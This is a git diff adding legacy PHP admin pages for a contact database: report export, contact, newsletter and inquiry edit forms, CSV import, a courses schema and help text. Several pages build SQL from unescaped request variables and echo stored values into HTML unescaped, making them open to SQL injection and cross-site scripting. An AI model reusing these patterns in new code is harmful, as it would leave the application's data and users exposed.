+                       $contactedby = pg_fieldnum($res,'contactedby');
+                       for($b=0;$b<count($row);$b++) {
+                               $result_string .= pg_result($res,$i,$b)."|";
+                       }
+            $sql = "EXECUTE get_courses({$row['id']})";
+            $courseRes = pg_exec($sql);
+            while ($courseRow = pg_fetch_array($courseRes)) {
+                $cData[] = $courseRow;
+                $result_string .= $courseRow['name']."|";
+            }
+            //echo '<pre>'.print_r($cData, true). '</pre>';
+            //exit;
+                       $result_string = substr($result_string,0,strlen($result_string)-1);
+                       if ($csv) {
+                               $result_string = str_replace("|","\",\"",$result_string);  
+                               $result_string = "\"".$result_string."\"\n";
+                               //echo $result_string;
+                       } else {
+                               $result_string = str_replace("|",$delimiter,$result_string);  
+                               $result_string = $result_string."\n";
+                       }
+                   fputs($fp,$result_string,strlen($result_string)); 
+               }
+       }
+    pg_exec($dbd, "COMMIT WORK;");
+    if (!fclose($fp)) {
+        html_error("Cant close filepointer",0);
+    }
+    chmod("report.csv",0660);
+    $output = "report.csv";
+
+    if ($file == "gz") {
+        $output = "report.tar.gz";
+        exec("tar -czvf report.tar.gz report.csv 2>&1",$result_array,$result);
+        if ($result != 0){
+            echo $result_array[0];
+            exit;
+        }
+        chmod("report.tar.gz",0660);
+    }
+    
+    if ($file == "zip") {
+        $output = "report.zip";
+        exec("zip report report.csv 2>&1",$result_array,$result);
+        if ($result != 0){
+            echo $result_array[0];
+            exit;
+        }
+        chmod("report.zip",0660);
+    }
+    if ($file == "rpt") {
+        $output = "report.csv";
+        chmod("report.csv",0660);
+    }
+    if (ini_get('zlib.output_compression'))
+    {
+        ini_set('zlib.output_compression', 'Off');
+    }
+       header("Content-Type: application/force-download\n");
+       /* Correction for the stupid MSIE thing */
+       if (strstr(getenv('HTTP_USER_AGENT'), 'MSIE')) {
+               header("Content-Disposition: inline; filename=\"$output\"");
+    } else {
+               header("Content-Disposition: attachment; filename=\"$output\"");
+    }
+       //header("Location: $output");
+       $fn=fopen($output , "r");
+       fpassthru($fn);
+       @fclose($fn);
+       exit(); 
+} else {
+       header("Location: list_contact.phtml");
+}
+?>
diff --git a/admin/Contact/edit_autoresponse.phtml b/admin/Contact/edit_autoresponse.phtml
new file mode 100755 (executable)
index 0000000..defed6c
--- /dev/null
@@ -0,0 +1,151 @@
+<?
+//$Id: edit_autoresponse.phtml,v 1.1.1.1 2009/12/18 17:46:59 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+top("AutoReponse for Newsletter", HELP_BASE."response.phtml?key=edit+section");
+
+html_nav_table($nav,$navWidth);        
+if(!$dbd = db_connect(CONN_STR)) 
+{
+       html_error(DB_ERROR_MSG.__LINE__, 1);
+}
+
+if( $id )
+{
+       $qs =  "SET DATESTYLE TO 'SQL, US';";
+       if(!db_exec($dbd, $qs))
+       {
+               html_error(DB_ERROR_MSG.__LINE__, 1);
+       }
+       $qs = "SELECT   id,subject,response,image,image2,image3,image_align,image2_align,image3_align            
+               FROM    news_response 
+               WHERE   id = $id";
+
+       if(!$res = db_exec($dbd, $qs)) 
+       {
+               html_error(DB_ERROR_MSG.__LINE__,1);
+       }
+       $row = db_fetch_array($res,0, PGSQL_ASSOC);
+}
+else
+{
+       $row['subject'] = '';
+       $row['response'] = '';
+       $row['image'] = '';
+       $row['image2'] = '';
+       $row['image3'] = '';
+}
+?>
+
+<script src=<?echo URL_BASE."admin/verify.js"?>></script>
+<script language="javascript">
+<!--// closed source
+function mySubmit(o){
+       o.response.optional = true;
+       o.response.r = 'Description';
+       o.subject.optional = false;
+       o.subject.r = 'Subject';
+       return(verify(o))
+}
+
+//-->
+</script>
+<form id="form1" name="form1" enctype="multipart/form-data" action="update_autoresponse.phtml" method="POST"
+onSubmit="mySubmit(form1)">
+<table id="admin-edit-table">
+<?     
+foreach($row as $key=>$value) {
+       switch($key) {
+
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+
+               case "subject":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Subject:</td>";
+               text_box("subject",$value);
+               echo "</tr>";
+               break;
+
+               case "response":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Response:</td>";
+               require_once BASE.'fckeditor/fckeditor.php';
+               $oFCKeditor = new FCKeditor($key);
+               $oFCKeditor->BasePath = BASE_URL.'fckeditor/';
+               $oFCKeditor->Width = '570';
+               $oFCKeditor->Height = '400';
+               $oFCKeditor->Value = $value;
+               echo '<td>';
+               $oFCKeditor->Create();
+               echo '</td>';
+               echo "</tr>";
+               echo "<tr><td>&nbsp;</td><td><b>NOTE:</b> Insert IMAGE1 IMAGE2 IMAGE3 etc. in the body of
+                       your text where you want the images to appear.</td></tr>";
+               break;
+
+               case "image_align":
+               case "image2_align":
+               case "image3_align":
+               break;
+
+               case "image":
+               case "image2":
+               case "image3":
+                       if ($row[$key] != "")
+                       {
+                               echo '<tr>
+                                       <td>&nbsp;</td>
+                                       <td style="width:400px;">
+                                       <div style="display:block;width:350px;padding:5px;margin:2px;float:right;border:solid 1px black;">
+                                       This is the current image attached to this newsletter
+                                       To change the image, select a new one by clicking the browse button below.
+                                       To delete the image without uploading a new one, select 
+                                       <strong>Yes</strong> below and click the <B>Update Category button</B>
+                                       </div>
+                                       <img style="display:block;float:left;border:2px solid black;" src="'.THUMB.$row[$key].'">
+                                       <br />
+                                       <div style="width:400px;clear:both;">
+                                       Delete Item Image? &nbsp; Yes 
+                                       <input type=radio name="del'.$key.'" value="TRUE"> &nbsp; No
+                                       <input type=radio name="del'.$key.'" value="false" checked><br>
+                                       </div>
+                                       </td>
+                                       </tr>';
+                       }
+                       echo '
+                       <tr>
+                       <td class="navtd" align="right">'.ucfirst($key).':</td>
+                       <td align="left"><input type="file" name="'.$key.'">
+                       <input type="hidden" name="old'.$key.'" value="'.$row[$key].'">
+                       Align: 
+                       <input name="'.$key.'_align" type="radio" value="left" '.( ($row[$key.'_align'] != 'right' ) ? 'checked': '' ).'>Left
+                       <input name="'.$key.'_align" type="radio" value="right" '.( ($row[$key.'_align'] == 'right' ) ? 'checked': '' ).'>Right
+                       </td>
+                       </tr>';
+                       break;                  
+
+               default:
+               break;
+       }
+}
+echo '<tr><td></td><td nowrap="nowrap">';
+if( $id )
+{
+       ?>
+               <input type="submit" name="Command" value="Update">
+               <?
+}
+else
+{
+       ?>
+               <input type="submit" name="Command" value="Insert">
+               <?
+}
+echo '
+</td></tr>
+</table>
+</form>';
+footer();
+?>
+
+
diff --git a/admin/Contact/edit_contact.phtml b/admin/Contact/edit_contact.phtml
new file mode 100755 (executable)
index 0000000..4aa62f7
--- /dev/null
@@ -0,0 +1,186 @@
+<?
+//$Id: edit_contact.phtml,v 1.2 2010/01/05 19:00:30 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG, 1);
+
+if($id) {                                      // If there's $id then editing 
+       $qs = "SET DATESTYLE TO 'SQL,".DATEFORMAT."';";
+       $qs .= "SELECT ";
+       for($i=0;$i<count($DB_fields);$i++) {
+               $qs .= $DB_fields[$i][name];
+               if($i != count($DB_fields)-1)
+                       $qs .= ",";     
+       }
+       $qs .= " FROM   ".TABLE."
+                        WHERE  ".ID." = $id";
+               
+       if(!$res = db_exec($dbd, $qs)) 
+               html_error(DB_ERROR_MSG.$qs,0);
+       if(db_numrows($res)>0){
+               $row = db_fetch_array($res,0, PGSQL_ASSOC);
+       }
+       else{
+               die("No such record");
+       }
+}
+else {                                                         // else new entry
+       // Grab the array of name from $DB_fields and stick it into $row
+       // Any default values must be placed inside this loop 
+       $row = array();
+       for($i=0;$i<count($DB_fields);$i++) {
+               if($DB_fields[$i][name] == "submitdate"){
+                       $row[$DB_fields[$i][name]] = date("m/d/Y H:i:s T");
+               }
+               else{
+                       $row[$DB_fields[$i][name]] = "";        
+               }
+       }
+}
+
+top("Updatable Listings (Add/Edit)", "help/contact.phtml?key=Edit");
+
+html_nav_table($nav, $navWidth);
+?>
+
+<form action="update_contact.phtml" method="POST" enctype="multipart/form-data">
+<?
+echo '<table id="admin-edit-table">';
+echo "<tr><td colspan=2><hr noshade></td></tr>";
+
+foreach($DB_fields as $key=>$value) {
+       if($value[type] == "text") {
+               ?>
+               <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+               <td><input name="<?echo $value[name]?>" 
+               value="<?echo $row[$value[name]]?>" size=40></td>
+               </tr>
+               <?
+       }
+       elseif($value[type] == "static") {
+               ?>
+               <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+               <td><?echo $row[$value[name]]?></td>
+               </tr>
+               <?
+       }
+       elseif($value[type] == "interest") {
+               ?>
+               <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+               <td><?interest($row[$value[name]])?></td>
+               </tr>
+               <?
+       }
+       elseif($value[type] == "courses") {
+               ?>
+               <tr><td class="navtd" align="right"><?echo $value['title']?></td>
+               <td><?php echo courseSelect($DB, $row['id']);?></td>
+               </tr>
+               <?
+       }
+       elseif($value[type] == "img") {
+               ?>
+               <tr></tr>
+               <?
+               echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+               value=\"".$row[$value[name]]."\">";
+               if($row[$value[name]] != "") {
+               echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+               echo "<td><img src=\"".MIDSIZED.$row[$value[name]]."\"></td>
+               </tr>
+               <tr>
+               <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+               <td> <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No </td>
+               </tr>";
+               }
+               echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+               echo '<td><input type="file" name="'.$value["name"].'"></td>';
+               echo "</tr>";
+       }
+       elseif($value[type] == "file") {
+               ?>
+               <tr></tr>
+               <?
+               echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+               value=\"".$row[$value[name]]."\">";
+               if($row[$value[name]] != "") {
+               echo "<tr><td class=\"navtd2\" align=\"right\">Current File:</td>";
+               echo "<td>".$row[$value[name]]."
+               </td>
+               </tr>
+               <tr>
+               <td class=\"navtd2\" align=\"right\">Delete this File:</td>
+               <td>
+               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+               </td>
+               </tr>";
+               }
+               echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+               echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+               echo "</tr>";
+       }
+       if($value[type] == "desc") {
+               if($value[name] == "description") {
+                       echo "<tr><td colspan=2><hr noshade></td></tr>";
+                       echo "<tr><th colspan=2>Description and Images</th></tr>";
+               }
+               echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+               text_area("$value[name]",$row[$value[name]]);
+               echo "</tr>";
+       }
+       if($value[type] == "state") {
+               echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+               echo build_picklist("$value[name]",$states_US,$row[$value[name]]);
+               //text_area("$value[name]",$row[$value[name]]);
+               echo "</td></tr>";
+       }
+       elseif($value[type] == "hide") {
+               echo "<input type=\"hidden\" name=\"".$value[title]."\" value=\"".$row[$value[name]]."\">";
+       }
+       elseif( $value['type'] == 'drop' )
+       {
+               echo '<tr><td class="'.$label.'">'.$value[title].'</td>';
+               echo '<td class="'.$field.'">';
+               $date_entry = build_picklist($value['name'],$value['drop'],$row[$value['name']]);
+               echo $date_entry.'</td>';
+               echo '</tr>';
+       }
+       elseif($value[type] == "radio") {
+               echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+               echo "<td><input type=\"radio\" name=\"".$value[name]."\" value=\"t\"";
+               if($row[$value[name]]=="t")
+                       echo " checked";
+               echo ">Yes";
+               echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"f\"";
+               if($row[$value[name]]!="t")
+                       echo " checked";
+               echo ">No</td>";
+               echo "</tr>";
+       }
+}
+
+if(isset($id)) {
+?>
+<tr><td colspan=2 align=center>
+<input type="hidden" name="id" value="<?=$id?>">
+<input type="submit" name="Command" value="Update">
+<input type="submit" name="Command" value="Cancel">
+<input type="submit" name="Command" value="Delete" onClick="
+if(confirm('This will delete this Record!\n Are you sure?'))
+       return(true);
+else 
+       return(false);
+">
+</td></tr>
+<?
+}
+else {
+       form_footer("Insert","",2);
+}
+echo "</td></tr></table></form>";
+
+footer();
+?>
diff --git a/admin/Contact/edit_inquiry.phtml b/admin/Contact/edit_inquiry.phtml
new file mode 100755 (executable)
index 0000000..556e11c
--- /dev/null
@@ -0,0 +1,87 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+$conn =& $DB->db_connect();
+if(!$conn) 
+       {
+               echo "No Database connection";
+       }
+top('Edit/Add Inquiry','');
+html_nav_table($nav,$navWidth);
+switch($Command) 
+       {
+       case "Edit":
+               $qs = "SELECT   *
+               FROM    contact_inq
+               WHERE   id = $id";
+       $result = pg_Exec($conn,$qs);
+       $header = pg_result($result,0,'header');
+       $description = pg_result($result,0,'description');
+       $image = pg_result($result,0,'image');
+       $pos = pg_result($result,0,'pos');
+       ?>
+               <table id="admin-edit-table">
+               <tr>
+               <td>Header:</td>
+               <td>
+               <form action="update_inquiry.phtml" method="POST" enctype="multipart/form-data">
+               <input type="text" name="header" value="<?echo $header?>">
+               <input type="hidden" name="id" value="<?echo $id?>"></td>
+               </tr>
+               <?
+               /*
+               echo "<tr><td align=\"right\">Description:</td>";
+       echo "<td><textarea cols=35 rows=8 name=\"description\">$description</textarea></td>";
+       echo "</tr>";
+       */
+       echo "<input type=\"hidden\" name=\"oldimage\" value=\"".$image."\">";
+       echo "<input type=\"hidden\" name=\"oldpos\" value=\"".$pos."\">";
+       /*
+       if($image != "") {
+               echo "<tr><td align=\"right\">Current Image:</td>";
+               echo "<td><img src=\"".MIDSIZED."/".$image."\">
+                       </td>
+                       </tr>
+                       <tr>
+                       <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+                       <td>
+                       <input type=\"radio\" name=\"deleteimage\" value=\"1\">Yes
+                       <input type=\"radio\" name=\"deleteimage\" value=\"2\" CHECKED>No
+                       </td>
+                       </tr>";
+       }
+       echo "<tr><td align=\"right\">New Image:</td>";
+       echo "<td><input type=\"file\" name=\"image\"></td>";
+       echo "</tr>";
+       */
+       ?> 
+               <tr>
+               <td colspan=2 align=center>
+               <input type="submit" name="Command" value="Edit">
+               <input type="submit" name="Command" value="Delete">
+               </td>
+               </tr>
+               </form>
+               </table>
+               <?
+
+       break;
+
+       case "Add Item":
+       ?>
+               <table id="admin-edit-table">
+               <tr>
+               <th>Header:</th>
+               <td><form action="update_inquiry.phtml" method="POST">
+               <input type="text" name="header">
+               <input type="submit" name="Command" value="Add">
+               </form>
+               </td>
+               </tr>
+               </table>
+               <?
+       break;
+
+}
+footer();
+?>
diff --git a/admin/Contact/emails.php b/admin/Contact/emails.php
new file mode 100755 (executable)
index 0000000..d6d79f3
--- /dev/null
@@ -0,0 +1,38 @@
+<?php
+require_once('../../setup.phtml');
+require_once(BASE.'classes/class_db.inc');
+include("contact_setup.inc");
+$DB =& new GLM_DB();
+$query = "set datestyle to 'sql,us';select * from news_response order by id;"; 
+$data = $DB->db_auto_get_data( $query );
+top( "Email HTML Newsletters", "");
+html_nav_table($nav,$navWidth);
+$out = '<table id="admin-list-table">
+       <tr><td colspan="2" align="center">
+                       <form name="add" action="edit_autoresponse.phtml" method="post">
+                               <button name="command" onClick="add.submit()">Add HTML EMAIL</button>
+       </td></tr>
+       <tr>
+               <th>Function:</th>
+               <th>Subject:</th>
+               <th>Last Update:</th>
+               <th> &nbsp; </th>
+       </tr>';
+       
+if( is_array( $data ) )
+{
+       foreach( $data as $key => $val )
+       {
+               $out .= '<tr>
+                       <td><a href="edit_autoresponse.phtml?id='.$val["id"].'">[Edit]</a>&nbsp;
+                               <a href="view_newsletter.phtml?id='.$val["id"].'">[View]</a></td>
+                       <td>'.$val["subject"].'</td>
+                       <td>'.$val["last_update"].'</td>
+                       <td><a href="update_autoresponse.phtml?Command=Delete&amp;id='.$val["id"].'" onClick="return(confirm(\'This will delete the Email Newsletter!\n\nAre you sure?\'))">[Delete]</a></td>
+               </tr>';
+       }
+}
+$out .= '</table>';
+echo $out;
+footer();
+?>
diff --git a/admin/Contact/form.js b/admin/Contact/form.js
new file mode 100755 (executable)
index 0000000..0bbabf0
--- /dev/null
@@ -0,0 +1,42 @@
+function reshow(object) {
+    artist = object.options[object.selectedIndex].text;
+        for (var i = document.track.names.length;i > 0;i--)
+            document.track.names.options[0] = null;
+        reloading = true;
+        showlinks();
+        document.track.names.options[0].selected = true;
+    return false;
+}
+
+function load(object) {
+    alert('Just testing: ' + object.options[object.selectedIndex].value);
+    //window.location.href = object.options[object.selectedIndex].value;
+    return false;
+}
+
+function showlinks() {
+    if (artist == 'Chris Rea') {
+        opt('cr/one.zip','The Road To Hell');
+        opt('cr/two.zip','Let\'s Dance');
+    }
+
+    if (artist == 'Annie Lennox') {
+        opt('al/why.zip','Why');
+        opt('al/wobg.zip','Walking on Broken Glass');
+    }
+
+    if (artist == 'Dina Carrol') {
+        opt('dc/track1.zip','Escaping');
+        opt('dc/track2.zip','Only Human');
+    }
+}
+
+function opt(href,text) {
+    if (reloading)  {
+        var optionName = new Option(text, href, false, false)
+        var length = document.track.names.length;
+        document.track.names.options[length] = optionName;
+    }
+    else
+        document.write('<OPTION VALUE="',href,'">',text,'<\/OPTION>');
+}
diff --git a/admin/Contact/golfCourses.sql b/admin/Contact/golfCourses.sql
new file mode 100755 (executable)
index 0000000..42e991b
--- /dev/null
@@ -0,0 +1,20 @@
+CREATE TABLE courses (
+   id SERIAL,
+   name TEXT,
+   PRIMARY KEY (id)
+);
+GRANT ALL ON courses TO nobody;
+GRANT ALL ON courses_id_seq TO nobody;
+
+CREATE TABLE contact_course (
+   id SERIAL,
+   contact_id INT 
+    REFERENCES contact 
+    ON DELETE CASCADE,
+   course_id INT
+    REFERENCES courses
+    ON DELETE CASCADE
+ );
+
+GRANT ALL ON contact_course TO nobody;
+GRANT ALL ON contact_course_id_seq TO nobody;
diff --git a/admin/Contact/help/contact.phtml b/admin/Contact/help/contact.phtml
new file mode 100755 (executable)
index 0000000..bdec6d7
--- /dev/null
@@ -0,0 +1,146 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="../../help/helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Contact Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "search":
+       ?>
+<h4 align="center">Contact Database Search</h4>
+
+<P>
+In this page you will start to build your query to the contact database.
+</p>
+<p>
+<big><b>Search:</b></big>
+</p>
+<p>
+<b>Search records for:</b>
+</p>
+<p>Here is where you will enter any keywords to use in the search.  You must
+enter in something in the "Search records for" box.  You may use more than one
+word (ie.) Sam Field.</p>
+<p><font color=red>HINT:</font>To help search use wildcards!</p>
+<p>? optional space<br>
+* optional spaces<br>
++ at least one space
+. will match anything<br>
+</p>
+<p><font color=green>NOTE:</font>Leaving this fields blank will select all
+contacts.  You can leave this blank and choose "Mail OK" true to get all
+contacts that allow emails.</p>
+<p><b>Search Where in fields:</b></p>
+<p>Tells the database to Search "Anywhere", "Beginning", or "Ending" of the
+fields to be searched.</p>
+<p><b>In Fields:</b></p>
+<p>Select from "In Fields" box.  This determines what fields to look in for
+this search.</p>
+<p><font color=red>HINT</font>
+If you want to select more than one field to search in hold down the 'Ctrl' key while clicking on the selection to select or
+deselect it from the list.</p>
+<p><font color=red>HINT</font>
+You can use the "All" and "None" buttons to help you save time.  This will
+select all or none of the fields in the boxes.</p>
+<p><b>Search Type:</b></p>
+<p>Select the type of search you want (ie.) an "Exact string" search will return
+only those fields which match the "Search records" for string exactly as compared
+to "Or" which will return any field that match any words you place into "Search
+records for"</p>
+<p><b>Case Sensitivity:</b></p>
+<p>This will turn "On" and "Off" the case sensitivity.
+(ie.)If you leave it "Off" and enter "bob" it will return anything like
+"bob","BOB","Bob","BOb","boB",or "BoB" turned "On" will match only "bob".</p>
+
+<p>
+<big><b>Output of records</b></big>
+</p>
+<p><b>Output Fields:</b></p>
+<p>Select from "Output Fields" box.  This determines what fields will be in the
+output of this search.</p>
+<p><font color=red>HINT</font>
+You can use the "All" and "None" buttons to help you save time.  This will
+select all or none of the fields in the boxes.</p>
+<p><font color=red>HINT</font>
+If you want to select more than
+one Output field hold down the 'Ctrl' key while clicking on the selection to select or
+deselect it from the list.</p>
+<p><b>File Output:</b></p>
+<p>Select from here if you wish to download a file with the results of this
+search.  The file will built "On the Fly" so you can download it.</p>
+<p><font color=green>NOTE:</font>The text file is output as report.doc.  This
+is only a text file.
+</p>
+<p><b>Delimiter:</b></p>
+<p>This determines what separates the fields in your file.</p>
+
+<?
+       break;
+
+       case "List":
+       ?>
+<h4 align="center">List Contacts</h4>
+<P>
+This page is for listing the results of your query.  You can download files if
+you have selected a file type or edit and delete the contact found.
+</p>
+<p><b>[Edit]</b></p>
+<p>Link to contact edit page.</p>
+
+<p><b>[Delete]</b></p>
+<p>Link to Delete Contact.</p>
+
+<p><big><b>Download Files</b></big></p>
+<p>If you see this then there is a file you can download.
+Click on the file and you can download it.</p>
+<?
+       break;
+
+       case "Edit":
+       ?>
+<h4 align="center">Edit a Contact</h4>
+<P>
+This page is for editing and modifying an existing Contact in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Contacts" page.
+</p>
+<p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Contact,
+you can click "Submit Query." This will update the information about the
+Contact in the database.
+</p>
+<?
+       break;
+
+       case "Add":
+       ?>
+<h4 align="center">Add an Contact</h4>
+<P>
+This page is for Adding Contacts in the database.
+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Contacts" page.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Contact,
+you can click "Submit Query." This will update the information about the
+Contact in the database.
+</p>
+<?
+       break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="../../help/closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/Contact/htmlarea.css b/admin/Contact/htmlarea.css
new file mode 100755 (executable)
index 0000000..23bdf7d
--- /dev/null
@@ -0,0 +1,180 @@
+.htmlarea { background: #fff; }
+
+.htmlarea .toolbar {
+  cursor: default;
+  background: ButtonFace;
+  padding: 1px 1px 2px 1px;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar table { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+.htmlarea .toolbar img { border: none; }
+.htmlarea .toolbar .label { padding: 0px 3px; }
+
+.htmlarea .toolbar .button {
+  background: ButtonFace;
+  color: ButtonText;
+  border: 1px solid ButtonFace;
+  padding: 1px;
+  margin: 0px;
+}
+.htmlarea .toolbar .buttonHover {
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar .buttonActive, .htmlarea .toolbar .buttonPressed {
+  padding: 2px 0px 0px 2px;
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+.htmlarea .toolbar .buttonPressed {
+  background: ButtonHighlight;
+}
+.htmlarea .toolbar .indicator {
+  padding: 0px 3px;
+  overflow: hidden;
+  width: 20px;
+  text-align: center;
+  cursor: default;
+  border: 1px solid ButtonShadow;
+}
+
+.htmlarea .toolbar .buttonDisabled { background-color: #aaa; }
+
+.htmlarea .toolbar .buttonDisabled img {
+  filter: alpha(opacity = 25);
+  -moz-opacity: 25%;
+}
+
+.htmlarea .toolbar .separator {
+  position: relative;
+  margin: 3px;
+  border-left: 1px solid ButtonShadow;
+  border-right: 1px solid ButtonHighlight;
+  width: 0px;
+  height: 16px;
+  padding: 0px;
+}
+
+.htmlarea .toolbar .space { width: 5px; }
+
+.htmlarea .toolbar select { font: 11px Tahoma,Verdana,sans-serif; }
+
+.htmlarea .toolbar select,
+.htmlarea .toolbar select:hover,
+.htmlarea .toolbar select:active { background: FieldFace; color: ButtonText; }
+
+.htmlarea .statusBar {
+  border: 1px solid;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+  padding: 2px 4px;
+  background-color: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.htmlarea .statusBar .statusBarTree a {
+  padding: 2px 5px;
+  color: #00f;
+}
+
+.htmlarea .statusBar .statusBarTree a:visited { color: #00f; }
+.htmlarea .statusBar .statusBarTree a:hover {
+  background-color: Highlight;
+  color: HighlightText;
+  padding: 1px 4px;
+  border: 1px solid HighlightText;
+}
+
+
+/* Hidden DIV popup dialogs (PopupDiv) */
+
+.dialog {
+  color: ButtonText;
+  background: ButtonFace;
+}
+
+.dialog .content { padding: 2px; }
+
+.dialog, .dialog button, .dialog input, .dialog select, .dialog textarea, .dialog table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.dialog table { border-collapse: collapse; }
+
+.dialog .title {
+  background: #008;
+  color: #ff8;
+  border-bottom: 1px solid #000;
+  padding: 1px 0px 2px 5px;
+  font-size: 12px;
+  font-weight: bold;
+  cursor: default;
+}
+
+.dialog .title .button {
+  float: right;
+  border: 1px solid #66a;
+  padding: 0px 1px 0px 2px;
+  margin-right: 1px;
+  color: #fff;
+  text-align: center;
+}
+
+.dialog .title .button-hilite { border-color: #88f; background: #44c; }
+
+.dialog button {
+  width: 5em;
+  padding: 0px;
+}
+
+.dialog .buttonColor {
+  padding: 1px;
+  cursor: default;
+  border: 1px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.dialog .buttonColor-hilite {
+  border-color: #000;
+}
+
+.dialog .buttonColor .chooser, .dialog .buttonColor .nocolor {
+  height: 0.6em;
+  border: 1px solid;
+  padding: 0px 1em;
+  border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+
+.dialog .buttonColor .nocolor { padding: 0px; }
+.dialog .buttonColor .nocolor-hilite { background-color: #fff; color: #f00; }
+
+.dialog .label { text-align: right; width: 6em; }
+.dialog .value input { width: 100%; }
+.dialog .buttons { text-align: right; padding: 2px 4px 0px 4px; }
+
+.dialog legend { font-weight: bold; }
+.dialog fieldset table { margin: 2px 0px; }
+
+.popupdiv {
+  border: 2px solid;
+  border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.popupwin {
+  padding: 0px;
+  margin: 0px;
+}
+
+.popupwin .title {
+  background: #fff;
+  color: #000;
+  font-weight: bold;
+  font-size: 120%;
+  padding: 3px 10px;
+  margin-bottom: 10px;
+  border-bottom: 1px solid black;
+  letter-spacing: 2px;
+}
+
+form { margin: 0px; border: none; }
diff --git a/admin/Contact/importcsv.phtml b/admin/Contact/importcsv.phtml
new file mode 100755 (executable)
index 0000000..a9d140f
--- /dev/null
@@ -0,0 +1,46 @@
+<?php
+include_once '../../setup.phtml';
+include_once 'contact_setup.inc';
+GLM_TOOLBOX::top("Upload Contacts",HELP_BASE."contact.phtml?key=search");
+GLM_TOOLBOX::html_nav_table($nav,4);
+if(isset($_FILES['contactfile']['tmp_name']))
+{
+       include_once "csv.inc";
+       include_once "obj_db.inc";
+
+       $conn = new DB_Conn();
+       $csv = new CSV();
+       $csv->set_splitchar("|");
+       $csv->set_read_topline(false);
+       $csv->set_lines_end_with_splitchar(true);
+
+       $csv->define_column("fname", 2);
+       $csv->define_column("mname", 3);
+       $csv->define_column("lname", 4);
+       $csv->define_column("address", 8);
+       $csv->define_column("city", 10);
+       $csv->define_column("state", 11);
+       $csv->define_column("zip", 12);
+       $csv->define_column("country", 13);
+       $csv->define_column("title", 1);
+       $csv->define_column("suffix", 5);
+       $csv->define_column("organization", 7);
+       $csv->define_column("email", 14);
+       $csv->check_columns("fname", "lname", "city", "state");
+       $errs = $csv->insert_file_into_table($_FILES["contactfile"]["tmp_name"], "contact", $conn);
+       
+       if(sizeof($errs)>0)
+               $alertstring = sizeof($errs)." record(s) were UPDATED because they were already in the database.";
+       else
+               $alertstring = "Contacts added successfully.";
+
+       print "<script language=\"javascript\">\n<!--\nalert('$alertstring');\n// -->\n</script>\n";
+}
+?>
+ <center><font size="+2" face="verdana, arial, sans-serif">Add a contact</font>
+ <form action="<?=$_SERVER['PHP_SELF']?>" METHOD="POST" ENCTYPE="multipart/form-data">
+ Select a file: <input type="file" name="contactfile"> <input type="submit" value="Upload">
+ </form></center>
+ <?php
+GLM_TOOLBOX::footer();
+ ?>
diff --git a/admin/Contact/index.phtml b/admin/Contact/index.phtml
new file mode 100755 (executable)
index 0000000..f6c4fe2
--- /dev/null
@@ -0,0 +1,379 @@
+<?php 
+session_start();
+require_once("../../setup.phtml");
+require_once("contact_setup.inc");
+error_reporting();
+if(isset($mailout)){
+       session_unregister("mailout");
+}
+if(isset($sess_vars)){
+       extract($sess_vars);
+       session_unregister("sess_vars");
+}
+$dbd = db_connect();
+
+$qs = "SELECT  count(*) as total 
+          FROM         ".TABLE;
+if( TABLE == CUSTOMER_TABLE )
+{
+       $qs .= " WHERE fname != '-Guest-'";     
+}
+$res = db_exec($dbd,$qs);
+$total = pg_result($res,0,'total');
